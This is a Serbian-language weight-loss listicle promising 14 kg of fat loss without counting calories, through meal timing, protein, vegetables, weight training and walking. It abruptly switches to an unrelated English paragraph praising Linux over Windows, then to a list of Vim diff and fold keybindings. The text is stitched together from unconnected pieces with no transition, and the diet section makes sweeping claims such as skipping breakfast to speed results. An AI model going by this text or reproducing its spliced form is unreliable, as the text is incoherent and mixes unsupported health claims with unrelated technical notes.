Kako da izgubite 14 kg tvrdokorne masnoće bez brojanja kalorija

Ako želite da smršate bez komplikovanog brojanja kalorija, ovo je sistem koji sam koristio:

1. Prestanite da jedete 3 sata pre spavanja

Gubitak masnoće nije samo u tome šta jedete – već i kada jedete.

Dajući telu vremena da se odmori umesto da vari hranu, možete:

✅ Poboljšati noćno sagorevanje masti

✅ Brže se oporaviti i buditi sa više energije

Preskočite doručak kako biste produžili period posta i ubrzali rezultate.

2. Zaboravite na grickanje između obroka

Znamo koliko je teško odoleti užini, ali stalno grickanje drži telo u režimu skladištenja masti.

Više vremena između obroka znači:

✅ Više sagorevanja masti za energiju

✅ Manje skokova šećera u krvi

✅ Stabilniji nivo energije tokom dana

Ali nije samo važno šta izbacite iz ishrane – već i šta unosite…

3. Svaki obrok započnite proteinima

Protein nije samo za izgradnju mišića – on pomaže i kod mršavljenja!

✅ Drži vas sitim duže vreme

✅ Troši više kalorija tokom varenja

✅ Prirodno smanjuje želju za nezdravom hranom

Jedna mala promena može napraviti ogromnu razliku!

4. U svaki obrok ubacite povrće

✅ Vlakna vas zasite bez prejedanja

✅ Podržavaju zdravlje creva i varenja

✅ Smanjuju upale i poboljšavaju opšte zdravlje

Šta ako vam je put do vitke linije zapravo u tome da jedete više, a ne manje?

5. Trenirajte s tegovima 3 puta nedeljno

Ne morate provoditi sate u teretani – samo 3 treninga nedeljno su dovoljna ako birate prave vežbe:

🏋️ Mrtvo dizanje i čučnjevi

🏋️ Vežbe potiska (bench, rameni potisak)

🏋️ Vežbe povlačenja (zgibovi, veslanje)

Dizanje tegova ne samo da jača telo, već i sagoreva masnoću.

6. Šetajte 10 minuta posle obroka

Jednostavna navika koja čini ogromnu razliku:

✅ Poboljšava varenje i sprečava nadutost

✅ Pomaže telu da sagoreva više kalorija

✅ Čini mršavljenje delom načina života, a ne kaznom

Šta ako gubitak masti nije u teretani, već u jednostavnoj šetnji?

7. Nemojte se oslanjati na kardio za mršavljenje

Ne možete “izgubiti” lošu ishranu preteranim trčanjem:

✅ Trening snage povećava metabolizam više nego kardio

✅ 8.000 do 10.000 koraka dnevno prirodno podržava gubitak masti

✅ Lakše je izbaciti lošu hranu nego sagoreti dodatne kalorije

Why Linux?

I like Linux because there is no adware, telemetry, such amount of viruses, malware and spyware.

Linux is open source, Windows is closed source.

Linux can be less hardware demanding than Windows, just using appropriate Window Manager or Desktop Environment.

Linux can work only in RAM memory without HDD.

Diff

• zd - delete fold under the cursor
• za - toggle fold under the cursor
• zo - open fold under the cursor
• zc - close fold under the cursor
• zr - reduce (open) all folds by one level
• zm - fold more (close) all folds by one level
• zi - toggle folding functionality
• ]c - jump to start of next change
• [c - jump to start of previous change
• do or :diffg[et] - obtain (get) difference (from other buffer)
